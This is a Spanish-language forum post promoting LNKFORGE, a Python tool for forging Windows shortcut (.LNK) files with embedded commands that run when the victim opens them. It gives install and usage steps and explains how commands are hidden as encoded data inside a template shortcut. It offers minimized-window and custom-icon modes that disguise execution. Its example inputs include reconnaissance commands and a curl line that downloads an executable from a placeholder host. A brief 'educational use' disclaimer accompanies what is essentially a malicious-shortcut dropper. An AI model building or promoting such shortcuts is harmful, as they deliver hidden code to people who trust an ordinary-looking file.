[LNKFORGE] 🛠 Creacion de accesos directos LNK desde Linux.

Iniciado por Killer829292, Abril 11, 2025, 03:00:26 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Abril 11, 2025, 03:00:26 PM Ultima modificación: Abril 11, 2025, 03:08:21 PM por Killer829292
🎯 LNKFORGE: Generador de accesos directos .LNK con payloads embebidos

💡 ¿Qué es LNKFORGE?
LNKFORGE es una herramienta desarrollada para generar archivos LNK (accesos directos de Windows) con comandos embebidos, sin necesidad de utilizar Wine, entornos Windows ni librerías externas. Su principal objetivo es modificar la estructura interna de un .LNK codificado en Base64, para inyectar comandos personalizados que se ejecutarán al abrir el acceso directo.
🔧 El script es completamente multiplataforma y puede ejecutarse en:
  • Windows
  • Linux
  • Termux (Android)

📦 Instalación
No hay dependencias externas requeridas, solo necesitas tener Python 3 instalado.
Código: text
git clone https://github.com/IND4RKHK/lnkforge.git
cd lnkforge
python lnkforge.py


📁 ¿Cómo funciona?
LNKFORGE se basa en la edición de un archivo .LNK
codificado en base64, insertando un bloque de comandos UTF-16BE codificados también en base64. Esto se hace de manera quirúrgica para no corromper la estructura del .LNK
.
📌 Estructura interna y conceptos clave:
  • 🧬b64_extra_bytes: Contiene el relleno de bytes " =============== " codificado en base64 (UTF-16BE). Este relleno define el "espacio disponible" en el .LNK para los comandos embebidos.
  • 🛠 check_len_or_save(): Función encargada de codificar los comandos a UTF-16BE y luego a base64, devolviendo su longitud o el texto listo para ser insertado.
  • 📜modular_lnk.b64: Archivo base que contiene las versiones originales del .LNK en diferentes modos:
    • Código: text
      normal
    • Código: text
      minimal
    • Código: text
      normal-icon
    • Código: text
      minimal-icon
  • 🧩 El script detecta automáticamente si el payload sobrepasa el límite de espacio disponible en el .LNK
     y recorta el último comando ingresado para garantizar integridad.

✍️ Uso paso a paso
Código: text
python lnkforge.py

  • ✨ Escribe comandos como
    Código: text
    ls

    Código: text
    whoami

    Código: text
    systeminfo

    Código: text
    curl https://example.com/file.x -o example.exe
  • 💬 Usa los comandos especiales para cambiar el modo:
    • Código: text
      minimal
      ➡️ Ejecuta en modo minimizado.
    • Código: text
      minimal-icon
      ➡️ Minimizado + icono personalizado.
    • Código: text
      normal
      ➡️ Ejecuta en primer plano.
    • Código: text
      normal-icon
      ➡️ Primer plano + icono.
  • 🧠 El script calcula el tamaño del payload y corta automáticamente si te excedes.
  • 💾 Se genera un archivo .LNK con fecha automática en su nombre, listo para ser ejecutado.

🚀 Ejemplo práctico
Código: text
cmd_lnk_executor >> whoami
cmd_lnk_executor >> ipconfig
cmd_lnk_executor >> exit

📁 Se generará un archivo
Código: text
lnk_forged_2025-11-20.lnk
con los comandos embebidos.

🧪 Detalles técnicos
  • Se utiliza codificación UTF-16BE para garantizar compatibilidad con PowerShell.
  • Se reconstruye el .LNK a partir del archivo base .b64, eliminando saltos de línea y ajustando los caracteres "=" para una decodificación correcta.
  • El límite actual de bytes embebidos está determinado por la estructura original del .LNK.
  • El script incluye un relleno suficientemente grande para permitir payloads medianos-grandes (~270 bytes).

🧠 Conclusiones
Esta herramienta demuestra cómo es posible modificar accesos directos .LNK a bajo nivel sin interfaces gráficas ni dependencias externas. Ideal para pruebas de ingeniería inversa, ofuscación o entrenamiento en análisis de malware.
🛡� Úsese con fines educativos y éticos.

📎 Repositorio: 👉 No tienes permitido ver enlaces. Registrate o Entra a tu cuenta
"Es agotador no tener una razón para luchar, pero mas agotador es estar que te cagas y no tener papel"
- Friedrich Nietzsche (Estoy delirando (pronto todo acabara))